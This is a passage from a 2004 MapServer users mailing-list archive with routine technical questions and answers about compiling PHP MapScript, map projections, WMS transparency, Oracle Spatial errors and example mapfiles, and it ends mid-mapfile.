In-Reply-To: <000201c3c0fa$7ed57060$0c916181@mgltoshiba>
Message-ID: <000001c3dae7$7338d1f0$1f916181@mgltoshiba>

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01C3DABD.8A62C9F0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hello all,

=20

I'm still stuck at this point.  I'm just wondering if anyone has been =
able
to successfully compile both mapserver and the php_mapscript.dll in the
cygwin environment, and if so, what was done to create the mapscript =
DLLs.
I don't get any errors when the make process runs for mapscript, it just
doesn't create any DLLs.  Is there a configuration setting I've =
overlooked,
or is there a way I can use the php_mapscript.o and php_proj.o files to
create DLLs?

=20

Many thanks,

Mike

=20

=20

=20

-----Original Message-----
From: Mike Leahy [mailto:mgleahy at fes.uwaterloo.ca]=20
Sent: December 12, 2003 4:54 PM
To: mapserver-users at lists.gis.umn.edu
Cc: mgleahy at fes.uwaterloo.ca
Subject: Compiling PHP_MapScript.dll

=20

-->=20

Hello all,

=20

I've gone through a lengthy process today of downloading all the =
necessary
components to compile MapServer 4.0.1 with PHP MapScript in =
Cygwin/WinXP.
To my surprise, I actually got it to work - not that there's a problem =
with
the MapServer code, I'm just not usually this lucky on my own with such =
a
complicated procedure.  My objective in this case was to get to a point
where I could use the fixed mappostgis.c that won't return PostgreSQL =
error
messages with the QueryByRect function called when identifying features =
on a
map (which I will be trying next). =20

=20

At any rate, the only thing I'm still lacking is the DLL for MapScript.  =
It
seems that while there are php_mapscript.o and php_mapscript_util.o =
files
created from the make process, I don't have any evidence of a DLL =
anyhere.
Looking at the makefile in the mapscript/php3 folder in the mapserver
source, it looks like it is supposed to create a php_mapscript.so =
file.and
while that is not what I want to get (since I'm running windows), this =
*.so
file does not exist anywhere either.  Basically, the last thing I did =
was
configure MapServer with the following options:

=20

./configure --with-jpeg --with-gd=3D/usr --with-freetype=3D/usr =
--with-zlib=3D/usr
--with-png=3D/usr --with-pdf=3D/usr --with-tiff=3D/usr --without-eppl
--with-proj=3D/usr --with-ogr=3D/usr/bin/gdal-config
--with-gdal=3D/usr/bin/gdal-config --with-postgis=3D/usr/bin/pg_config
--with-wfs --with-wmsclient --with-wfsclient
--with-curl-config=3D/usr/bin/curl-config --disable-ignore-missing-data
--with-php=3D/usr/src/php-4.3.4

=20

Then I ran MAKE, and after re-configuring/compiling PHP a couple times, =
it
worked.  The configuration I used for compiling PHP was "./configure
--prefix=3D/usr --with-regex=3Dsystem". =20

=20

Can anyone suggest what extra steps and/or modifications I should make =
in
order to get the PHP_MapScript.dll compiled?  For now, I can still use =
the
PHP_MapScript.dll that comes with the binaries, but I'm worried this =
might
cause problems later on, since the MapScript/MapServer versions may not
match-up exactly.

=20

Thanks,

Mike


------=_NextPart_000_0001_01C3DABD.8A62C9F0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable



















Hello all,



 



I’m still stuck at this =
point. 
I’m just wondering if anyone has been able to successfully compile =
both mapserver
and the php_mapscript.dll in the cygwin environment, and if so, what was =
done to
create the mapscript DLLs.  I don’t get any errors when the =
make
process runs for mapscript, it just doesn’t create any DLLs.  =
Is
there a configuration setting I’ve overlooked, or is there a way I =
can
use the php_mapscript.o and php_proj.o files to create =
DLLs?



 



Many thanks,



Mike



 



 



 



-----Original
Message-----

From: Mike Leahy
[mailto:mgleahy at fes.uwaterloo.ca] 

Sent: December 12, 2003 =
4:54 PM

To:
mapserver-users at lists.gis.umn.edu

Cc: =
mgleahy at fes.uwaterloo.ca

Subject: Compiling =
PHP_MapScript.dll



 



--> =







Hello =
all,



 



I’ve gone through a =
lengthy
process today of downloading all the necessary components to compile =
MapServer
4.0.1 with PHP MapScript in Cygwin/WinXP.  To my surprise, I =
actually got
it to work – not that there’s a problem with the MapServer =
code,
I’m just not usually this lucky on my own with such a complicated
procedure.  My objective in this case was to get to a point where I =
could
use the fixed mappostgis.c that won’t return PostgreSQL error =
messages
with the QueryByRect function called when identifying features on a map =
(which
I will be trying next).  



 



At any rate, the only thing
I’m still lacking is the DLL for MapScript.  It seems that =
while
there are php_mapscript.o and php_mapscript_util.o files created from =
the make
process, I don’t have any evidence of a DLL anyhere.  Looking =
at the
makefile in the mapscript/php3 folder in the mapserver source, it looks =
like it
is supposed to create a php_mapscript.so file…and while that is =
not what I
want to get (since I’m running windows), this *.so file does not =
exist
anywhere either.  Basically, the last thing I did was configure =
MapServer
with the following options:



 



./configure --with-jpeg
--with-gd=3D/usr --with-freetype=3D/usr --with-zlib=3D/usr =
--with-png=3D/usr --with-pdf=3D/usr
--with-tiff=3D/usr --without-eppl --with-proj=3D/usr
--with-ogr=3D/usr/bin/gdal-config --with-gdal=3D/usr/bin/gdal-config
--with-postgis=3D/usr/bin/pg_config --with-wfs --with-wmsclient =
--with-wfsclient
--with-curl-config=3D/usr/bin/curl-config --disable-ignore-missing-data
--with-php=3D/usr/src/php-4.3.4



 



Then I ran MAKE, and after
re-configuring/compiling PHP a couple times, it worked.  The =
configuration
I used for compiling PHP was “./configure --prefix=3D/usr
--with-regex=3Dsystem”.  



 



Can anyone suggest what =
extra steps
and/or modifications I should make in order to get the PHP_MapScript.dll
compiled?  For now, I can still use the PHP_MapScript.dll that =
comes with
the binaries, but I’m worried this might cause problems later on, =
since
the MapScript/MapServer versions may not match-up =
exactly.



 



Thanks,



Mike












------=_NextPart_000_0001_01C3DABD.8A62C9F0--



From p.willis at telus.net  Wed Jan 14 13:41:52 2004
From: p.willis at telus.net (pw)
Date: Wed, 14 Jan 2004 13:41:52 -0800
Subject: [Mapserver-users] Mapscript error question
References: <002801c3dad8$fde46260$2301a8c0@PETER>
Message-ID: <006901c3dae7$391872f0$2301a8c0@PETER>

Hello again,

Is this problem a symptom of PHP4 with freetype?
If so which build should freetype be disabled in, mapserver
or apache?
I have also found that mapserv is reading the .map file but
is generating an error when it trys to implement the
settings. I will modify the source for mapserver to
dump debug info into a file so I can see what is happening.

Thanks

Peter


>
> The projection I have in my mapfile.map is defined as follows:
>
>
/*..........................................................................
> ....................*/
>
> NAME THEMAP
> STATUS ON
> SIZE 600 450
> SYMBOLSET ../etc/symbols.sym
>
> PROJECTION
>   "proj=cea"
>   "ellps=GRS80"
>   "lat_0=49"
>   "lon_0=-95"
>   "lat_1=49"
>   "lat_2=77"
>   "datum=NAD83"
> END
>
>
/*..........................................................................
> ..................*/
>
> The cea projection works fine if I call proj from the command line and
> plug some values in.
>
> The dump from mapserv is:
>
> cgi-bin/mapserv -v
> MapServer version 4.0.1
> OUTPUT=PNG OUTPUT=JPEG
> OUTPUT=WBMP
> SUPPORTS=PROJ
> SUPPORTS=FREETYPE
> SUPPORTS=WMS_SERVER
> INPUT=TIFF
> INPUT=EPPL7 INPUT=JPEG
> INPUT=POSTGIS INPUT=OGR
> INPUT=GDAL INPUT=SHAPEFILE
>
> Thanks for any insights.
>
> Peter




From palle at mail-online.dk  Wed Jan 14 13:52:24 2004
From: palle at mail-online.dk (Palle Due Larsen)
Date: Wed, 14 Jan 2004 22:52:24 +0100
Subject: [Mapserver-users] Measure tool
In-Reply-To: <001401c3daa7$a48b6be0$b1865fdb@clickntrac>
References: <001401c3daa7$a48b6be0$b1865fdb@clickntrac>
Message-ID: 

Hi,

You can easily achieve that with javascript. Use the cellsize template
parameter like this:

var cellsize= [cellsize];

Compute the distance between the two points in pixels, and multiply by
the cellsize.

As for how to get a mouse click from dbox, I'm not quite sure, but that
should be fairly easy.

Best regards

Palle Due Larsen
Carl Bro GIS&IT



-----Original Message-----
From: Steve McCrone 
To: mapserver-users at lists.gis.umn.edu
Date: Wed, 14 Jan 2004 22:06:44 +0800
Subject: [Mapserver-users] Measure tool

> I am working with the "DHTML rubber band box" sample, found at  - 
>   http://maps.dnr.state.mn.us/mapserver_demos/workshop
> 
>  I wish to implement a mouse mesuring tool that will return segment
> and cumulative distances. I see the JBox java applet can do this. 
> 
> The above example comes with a js file "DBox.js" which produces a
> dynamic rectangle for zoom in. Would you suggest changing entirely
> over to the JBox applet to achieve rubber-band zoom, mouse
> coordiantes and meaure tool? 
> 
> 
> 
> Thanks
> 

F? en gratis emailkonto her: www.mail-online.dk 
-----------------------------------------------
Deltag i en lille konkurrence p? nettet, og
vind et gavekort p? 50.000 kroner...
KLIK HER: www.nyhedsbasen.dk/konkurrence




From wim.blanken at planet.nl  Thu Jan 15 01:53:24 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Thu, 15 Jan 2004 10:53:24 +0100
Subject: [Mapserver-users] Re: Jbox Problem
Message-ID: <001101c3db4d$6c42d5b0$6400a8c0@BLANKEN>

This is a multi-part message in MIME format.

--Boundary_(ID_P+TtsEXsRBUAWuo5Woyy2Q)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

Hello List,

I found the solution to my problem with the support for the new jbox applet
on Windows MS VM. I did not read the java files where the answer is.
I had to recompile the java with the following directive
javac -target 1.1 etc....
This makes sure the class files are compatible with both the JRE and the MS VM.

Sincerely

Wim Blanken
GEON bv


  Hello List,

  I tried out the newest version of the jBox applet. 
  It works perfectly on a windows client with JRE 1.4 but not
  on a standard internet explorer 6.0. The former version of JBox (without the
  drag and line features work OK on this internet explorer 6.0.
  Does anybody have some insight how to get this wonderfull new applet
  to work on internet explorer 6.0.
  I am running mapserver 4.0 on Red Hat 9.

  Sincerely,

  W. Blanken
  The Netherlands


--Boundary_(ID_P+TtsEXsRBUAWuo5Woyy2Q)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT









Hello List,


 


I found the solution to my problem with the support 
for the new jbox applet


on Windows MS VM. I did not read the java files 
where the answer is.


I had to recompile the java with the following 
directive


javac -target 1.1 etc....


This makes sure the class files are compatible with 
both the JRE and the MS VM.


 


Sincerely


 


Wim Blanken


GEON bv






  
Hello List,

  
 

  
I tried out the newest version of the jBox 
  applet. 

  
It works perfectly on a windows client with JRE 
  1.4 but not

  
on a standard internet explorer 6.0. The former 
  version of JBox (without the

  
drag and line features work OK on this internet 
  explorer 6.0.

  
Does anybody have some insight how to get this 
  wonderfull new applet

  
to work on internet explorer 6.0.

  
I am running mapserver 4.0 on Red Hat 
  9.

  
 

  
Sincerely,

  
 

  
W. Blanken

  
The Netherlands

  
 


--Boundary_(ID_P+TtsEXsRBUAWuo5Woyy2Q)--


From aborruso at tin.it  Wed Jan 14 04:11:10 2004
From: aborruso at tin.it (andy)
Date: Wed, 14 Jan 2004 13:11:10 +0100
Subject: [Mapserver-users] Zmapserver working demo
In-Reply-To: 
References: 
Message-ID: <400531DE.1070509@tin.it>

Dear users,
I would like to see some working demo of zmapserver. Do you know some url?

Thank you,

Andrea



From mtperry78 at sbcglobal.net  Thu Jan 15 02:53:06 2004
From: mtperry78 at sbcglobal.net (Matthew Perry)
Date: Thu, 15 Jan 2004 02:53:06 -0800 (PST)
Subject: [Mapserver-users] Transparency and WMS
Message-ID: <20040115105306.57239.qmail@web80108.mail.yahoo.com>

Hello,

I've been trying to get mapserver to display a
partially transparent shaded relief over a DRG. Both
layers are WMS and display correctly individually. I
have tried many combinations of image types and
various mapfile settings but no luck. Am I
understanding TRANSPARENCY correctly.. that it makes
all pixels semi-transparent? Or does it make certain
classes of pixels completely transparent? Is
TRANSPARENCY set to work with WMS layers or just local
images??

Thanks for any help!!

Matthew Perry
Environmental and Natural Resource Sciences
Humboldt State University

##########################
Here is the version info:
---
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG
OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE
SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=TIFF
INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR
INPUT=GDAL INPUT=SHAPEFILE

Here is the mapfile:
---
NAME TEST
STATUS ON
SIZE 800 600
EXTENT 495601.000000 4497668.787234 510859.000000
4515663.212766
UNITS METERS
SHAPEPATH "/data/"
IMAGECOLOR 255 255 255

WEB
  IMAGEPATH "/tmp/ms_tmp/"
  IMAGEURL "/ms_tmp/"
END

OUTPUTFORMAT
  NAME PNG
  DRIVER "GD/PNG"       # Would GDAL work??
  IMAGEMODE RGBA        # SHOULD THIS BE RGB, PC256,
FLoat32??
  TRANSPARENT ON        # This seems to refer to a
different sort of transparency...
                        # just turing off certain
pixels in a raster image
END

PROJECTION
  "init=epsg:26910"                             # UTM
zone 10, Nad83, meters
END

##### WMS Layer: Topo quad from terraserver #####
LAYER
 NAME "wms_map"
 TYPE RASTER
 STATUS DEFAULT
 CONNECTION "http://terraservice.net/OgcMap.ashx?"
 CONNECTIONTYPE WMS
 METADATA
        "wms_srs"             "EPSG:26910"
        "wms_name"            "DRG"
        "wms_server_version"  "1.1.1"
        "wms_format"          "image/jpeg"
        "wms_layers"          "drg"
 END
 PROJECTION
        "init=epsg:26910"
 END
END


##### WMS Layer: shaded relief from usgs national
elevation dataset #####
LAYER
 NAME "wms_ned"
 TYPE RASTER
 STATUS DEFAULT
 TRANSPARENCY 50                             # Set
transparency to 50% .... DOESNT WORK?????
 #PROCESSING "COLOR_MATCH_THRESHOLD=3"       # Suggest
in listserv for transparencies
 #OFFSITE 0 0 0                              # SEEMS
TO REMOVE PIXELS OF A CERTAIN VALUE
 CONNECTION
"http://gisdata.usgs.net:80/servlet/com.esri.wms.Esrimap?servicename=USGS_WMS_NED&"
 CONNECTIONTYPE WMS
 METADATA
        "wms_srs"             "EPSG:4326"
        "wms_name"            "US_NED_Shaded_Relief"
        "wms_server_version"  "1.0.0"
        "wms_format"          "image/jpeg"
 END
 PROJECTION
        "init=epsg:26910"
 END
END

END


From opengis at libero.it  Thu Jan 15 02:53:28 2004
From: opengis at libero.it (opengis_libero)
Date: Thu, 15 Jan 2004 11:53:28 +0100
Subject: [Mapserver-users] Projection trouble
In-Reply-To: <004e01c3dac1$ae99e390$6c000a0a@sclark>
References: <4004203E.6030406@libero.it> <006f01c3da00$ef176990$6c000a0a@sclark> <40051C50.8060404@libero.it> <004e01c3dac1$ae99e390$6c000a0a@sclark>
Message-ID: <40067128.6000900@libero.it>

Stephen,

many thanks for your interest to my trouble.

Now my map work fine!

>please post your map file 
>
NAME MyMap_right!
STATUS ON
SIZE 600 330
EXTENT 782712 4667376 861860 4740999
UNITS meters # <- problem is here, change DD in METER
SHAPEPATH "data"
FONTSET "./data/fonts.txt"
IMAGECOLOR -1 -1 -1

#PROJECTION
##    "init=epsg:4318"
##    proj=utm
##    zone=32
##    ellps=WGS84
##    datum=WGS84
##    a=6378249.200
##    b=6356515.000
##    towgs84=-263,6,431,0,0,0,0
##    units=dd
#   
#        proj=tmerc
#        ellps=WGS84
#        zone=32
#        "north"
#        "no_defs"
##    "proj=32761"
##    proj=latlong
##    ellps=clrk66
#      END
...
LAYER
    NAME layer_county
    DATA Ri_pd
    STATUS ON
    TYPE POLYGON
#    PROJECTION
#        geographic
#    END
#    METADATA
#        WMS_TITLE "Your title "
#        "wms_srs" "EPSG:4326"
#    END
    CLASS
        NAME 'County boundaries'
        COLOR 220 220 255
        OUTLINECOLOR 100 100 100 #gray
    END
END

Remaining a mystery how mapserver realize right projection.

Have you any documentation or link to understand mapserver projection?

Best regards

PS.
I saw www.focus.ca :  Have you got open source software in your solution?



From TBirkenholtz at fbfs.com  Thu Jan 15 06:40:37 2004
From: TBirkenholtz at fbfs.com (Todd Birkenholtz)
Date: Thu, 15 Jan 2004 08:40:37 -0600
Subject: [Mapserver-users] Longitude and Latitude positions
Message-ID: <86256E1C.00500CDA.00@mail.fbfs.com>

--0__=iqElts6si81wX4sIZd6WHSql5V8wpdYma3N0gFkAFsJL6IvzO63GNzr9
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline





I am new to Mapserver and the concept of GIS in general. I have a question that
I can not seem to be in the docs if it is I guess I do not know the jargon used
to describe it.

How do you mark Longitude and Latitude positions on a map? 
--0__=iqElts6si81wX4sIZd6WHSql5V8wpdYma3N0gFkAFsJL6IvzO63GNzr9
Content-type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-transfer-encoding: quoted-printable


=A0Do you create a
special shapefile on the fly? =A0Do you modify the map file?
A perl example would be great!


Thank you
Todd Birkenholtz

=

--0__=iqElts6si81wX4sIZd6WHSql5V8wpdYma3N0gFkAFsJL6IvzO63GNzr9--



From nicolas.fortin at ec.gc.ca  Thu Jan 15 06:35:53 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Thu, 15 Jan 2004 09:35:53 -0500
Subject: [Mapserver-users] RE : OracleSpatial Error
Message-ID: 

Hi again!

My Oracle problem on the server is not solved yet.

msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.

More observations :
I can get an image with the shp2img utilities and the same mapfile.
I can make Oracle spatial query from SQL*Plus on the server without error.
I use the same layers and Oracle connection/user of this mapfile on my
workstation without error.

The error only appears when the request is made to the web server

I'm open to all kind of suggestions!
Thx
Nicolas

-----Message d'origine-----
De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] 
Envoy? : Tuesday, January 13, 2004 10:29 AM
? : nsavard at dmsolutions.ca; hjulien at nrcan.gc.ca
Cc : mapserver-users at lists.gis.umn.edu
Objet : RE : RE : RE : [Mapserver-users] WMS LAYERS= [SOLVED] But an Orac le
one too!



Problem solved!
The mapfile sent below is not exactly the right one, in the other, one group
has the same name as a layer.  By renaming the group, all is back to normal.

Thx for your help!

Now we have a weird oracle error message from the server we're trying to
install mapserver, here it is:
msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.

I searched the archive but found nothing...
An idea? Someone...

Nick

-----Message d'origine-----
De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] 
Envoy? : Tuesday, January 13, 2004 9:46 AM
? : nsavard at dmsolutions.ca
Cc : mapserver-users at lists.gis.umn.edu
Objet : RE : RE : [Mapserver-users] WMS LAYERS=



Hi Normand, thx for your answer!
No, you don't have access to it cause it's only intranet for the moment...

This afternoon, I'll try to place the layers like Heryk said to see if it
works.

Here's my wms request:
http://f044d065/mapserv/mapcmitest2.asp?REQUEST=GetMap&SERVICE=wms&VERSION=1
.1.1&Layers=2,1&BBOX=7610000,1222000,7622000,1234000

And my mapfile:
# ---------------------------------------------------------------------
# Mapserver 4.0 for Oracle
# Nicolas Fortin, Env Can nicolas.fortin at ec.gc.ca
# MapFile Test pour la CMI V1.4
# ---------------------------------------------------------------------

NAME IJC4
EXTENT 7610000 1222000 7622000 1234000 #Lac St-Louis
SIZE 425 425
SYMBOLSET 'C:\Inetpub\wwwroot\mapserv\symbols\symbols35.sym' 

# Projection LCC de la CMI 
PROJECTION
  "proj=lcc"
  "ellps=GRS80"
  "lat_0=63"
  "lon_0=-91.8666"
  "lat_1=49"
  "lat_2=77"
  "x_0=6200000"
  "y_0=2958000"
  "datum=NAD83"
  "units=m"
END

WEB
  TEMPLATE defaultcmitest1.html
  HEADER header.html
  FOOTER footer.html
  IMAGEPATH "C:/Inetpub/wwwroot/tmp/"
  IMAGEURL "/tmp/"
  METADATA
    wms_title "WMS Quebec Node for IJC test2"
    wms_onlineresource "http://f044d065/mapserv/mapcmitest2.asp?"
    wms_contactelectronicmailaddress "nicolas.fortin at ec.gc.ca"
    wms_contactperson "Nicolas Fortin"
    wms_contactorganization "Environnement Canada, SMC-Hydrologie"
    wms_contactposition "Programmeur, Analyste de donn?es num?riques"
    wms_srs "EPSG:4326 EPSG:4269 EPSG:2145 EPSG:42304"
  END
END

LEGEND
  STATUS ON
  LABEL
     COLOR 0 0 0
     SHADOWCOLOR 218 218 218
     SHADOWSIZE 2 2
     TYPE BITMAP
     SIZE MEDIUM
     POSITION CC
     PARTIALS FALSE
     BUFFER 2
  END
END

REFERENCE
  STATUS ON
  IMAGE "c:\Inetpub\wwwroot\mapserv\images\ref_cmi_lite2.gif"
  SIZE 150 150
  EXTENT 7549910 1161398 7689518 1363371
  COLOR -1 -1 -1
  OUTLINECOLOR 255 0 0
END

LAYER
  NAME "2"
  TYPE POLYGON
  CONNECTIONTYPE oraclespatial
  CONNECTION "user/****@quebijc"
  DATA "POLYGON FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000"
  STATUS OFF
  DUMP TRUE
  
  METADATA
    wms_title "Quebec Watersheds"
    wms_extent "7035577.31 1082076.03 7833285.05 1507787.39"
  END

  PROJECTION
    "proj=lcc"
    "ellps=GRS80"
    "lat_0=63"
    "lon_0=-91.8666"
    "lat_1=49"
    "lat_2=77"
    "x_0=6200000"
    "y_0=2958000"
    "datum=NAD83"
    "units=m"
  END
  
  CLASS
    NAME "Watershed"
    SYMBOL 'CIRCLE'
    SIZE 2
    COLOR 255 255 255
    OUTLINECOLOR 0 204 0
  END
END

LAYER
  NAME "1"
  TYPE LINE
  CONNECTIONTYPE oraclespatial
  CONNECTION "user/****@quebijc"
  DATA "LINE FROM USR_SHORELINE.VSHORELINE_LCC USING SRID 3000000"
  STATUS DEFAULT
  GROUP "Shoreline"
  DUMP TRUE
  
  METADATA
    wms_title "St. Lawrence River Detailed Shoreline"
    wms_extent "7563132.5 1166237.24 7684888.9 1363371.77"
    wms_group_title "Shoreline"
  END
  
  PROJECTION
    "proj=lcc"
    "ellps=GRS80"
    "lat_0=63"
    "lon_0=-91.8666"
    "lat_1=49"
    "lat_2=77"
    "x_0=6200000"
    "y_0=2958000"
    "datum=NAD83"
    "units=m"
  END
  
  CLASS
    NAME "Detailed Shoreline"
    COLOR 0 51 255
    SYMBOL 'CIRCLE'
    SIZE 1
  END
END # Shoreline

END


-----Message d'origine-----
De : Normand Savard [mailto:nsavard at dmsolutions.ca] 
Envoy? : Monday, January 12, 2004 5:05 PM
? : nicolas.fortin at ec.gc.ca
Cc : hjulien at nrcan.gc.ca; mapserver-users at lists.gis.umn.edu Objet : Re: RE :
[Mapserver-users] WMS LAYERS=


Hi,

I tried to replicate this problem without success by using our WMS 
server used during the OGC compliance tests.   I also used the OGC test 
suite requests.  I joined both the map file and the requests sent (see 
below).  Theses requests contain three layers.  In the first request, 
the "Forest" layer is drawn first.  In the second request, the "Forest" 
layer is drawn last.  You can also see that I modified the mapfile to 
set the "Forest" layer status to "DEFAULT".   It does not seem to affect 
the drawing order.  But maybe I'm missing something.  Do we have access 
your WMS server?  It is possible to have a copy of your mapfile and the 
request you are currently sending?

Norm



The requests used are.


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
ap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
ap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 



Our map file is as follow:

#
# Start of map file
#
# $Id: ogc_cite_wms_server.map,Exp $
#
NAME OGC_CITE
STATUS ON
SIZE 600 400
## EPSG:4326 extents
EXTENT -2 -2 -1 6
#EXTENT -0.0042 -0.0024 0.0042 0.0024

UNITS METERS
SHAPEPATH "../data/shapefile"
IMAGECOLOR 255 255 255
FONTSET ../etc/fonts.txt
SYMBOLSET ../etc/symbols.sym

#
# Start of web interface definition
#
WEB
# On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the root #
of the drive where the .MAP file resides. #
  IMAGEPATH "/tmp/ms_tmp/"
  IMAGEURL "/ms_tmp/"
#  LOG "/tmp/gmap.log"
  METADATA
    "WMS_TITLE"         "cite:OGC_CITE WMS Server"
    "WMS_ONLINERESOURCE" 
"http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
    "WMS_SRS"           "EPSG:4326"
    "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
    "WMS_ACCESSCONTRAINTS" "none"
    "WMS_FEES"              "none"

  END
END

PROJECTION
  "init=epsg:4326"
END

QUERYMAP
  SIZE 200 200
  STATUS ON
  STYLE HILITE
  COLOR 255 0 0
END

#
# Start of layer definitions
#

LAYER
  NAME BasicPolygons
  TYPE POLYGON
  STATUS OFF
  DATA BasicPolygons
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "basicpolygons.html"
  CLASS
    NAME "BasicPolygons"
    COLOR 194 194 194
  END
  METADATA
    "WMS_TITLE" "cite:BasicPolygons"
    "WMS_ABSTRACT" "BasicPolygons layer."
#    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes
  TYPE LINE
  STATUS ON
  DATA DividedRoutes
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "DividedRoutes"
    COLOR 0 0 0
    OUTLINECOLOR 0 0 0
    SYMBOL 'circle'
    SIZE 6
  END
  METADATA
    "WMS_TITLE" "cite:DividedRoutes"
    "WMS_ABSTRACT" "DividedRoutes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes_anno
  STATUS ON
  DATA DividedRoutes
  TYPE ANNOTATION
  LABELITEM "NAME"
  CLASS
    NAME "DividedRoutesAnnotations"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 40
    OVERLAYSYMBOL "route75"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "DividedRoutes"
    "WMS_ABSTRACT" "Divided routes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME MapNeatline
  TYPE LINE
  STATUS ON
  DATA MapNeatline
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "MapNeatline"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 3
  END
  METADATA
    "WMS_TITLE" "cite:MapNeatline"
    "WMS_ABSTRACT" "MapNeatline layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME NamedPlaces
  TYPE POLYGON
  STATUS ON
  DATA NamedPlaces
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  TEMPLATE "namedplaces.html"
  CLASS
    NAME "Ashton"
    EXPRESSION "Ashton"
    #COLOR 153 153 153
    COLOR 192 192 192
    OUTLINECOLOR 0 0 0
    SIZE 8
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 192 192 192
      FONT fritqat
      TYPE truetype
      SIZE 10
      POSITION LR
      OFFSET 10 10
      PARTIALS FALSE
    END
  END
  CLASS
    NAME "Goose Island"
    EXPRESSION "Goose Island"
    COLOR 255 255 255
    SIZE 8
    TEXT "Goose | Island"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 4
      POSITION CC
      PARTIALS FALSE
      WRAP "|"
    END
  END
  METADATA
    "WMS_TITLE" "cite:NamedPlaces"
    "WMS_ABSTRACT" "NamedPlaces layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Ponds
  TYPE POLYGON
  STATUS ON
  DATA Ponds
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "ponds.html"
  CLASS
    NAME "Ponds"
    COLOR 0 255 255
    OUTLINECOLOR 0 0 0
    TEXT "Stock Pond"
    LABEL
      COLOR  0 0 0
      FONT fritqat
      TYPE truetype
      SIZE 9
      #POSITION AUTO
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 23
    END
  END
  METADATA
    "WMS_TITLE" "cite:Ponds"
    "WMS_ABSTRACT" "Ponds layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments
  TYPE LINE
  STATUS ON
  DATA RoadSegments
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  CLASS
    NAME "MainStreet"
    EXPRESSION "Main Street"
    SYMBOL 'circle'
    SIZE 3
    COLOR 238 0 0
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 2
    END
  END
  CLASS
    NAME "Route5"
    EXPRESSION "Route 5"
    SYMBOL 'circle'
    SIZE 3
    COLOR 0 0 0
  END
  CLASS
    NAME "Route75"
    EXPRESSION "Dirt Road by Green Forest"
    SYMBOL 'circle'
    SIZE 5
    #COLOR 255 255 0
    COLOR 192 160 0
    TEXT "Dirt Road"
    LABEL
      ANGLE 90
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      #OUTLINECOLOR 255 255 255
      OFFSET 0 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments_anno
  STATUS ON
  DATA RoadSegments
  TYPE ANNOTATION
  CLASSITEM "FID"
  LABELITEM "NAME"
  CLASS
    NAME "Route5NorthEastAnnotations"
    EXPRESSION "104"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
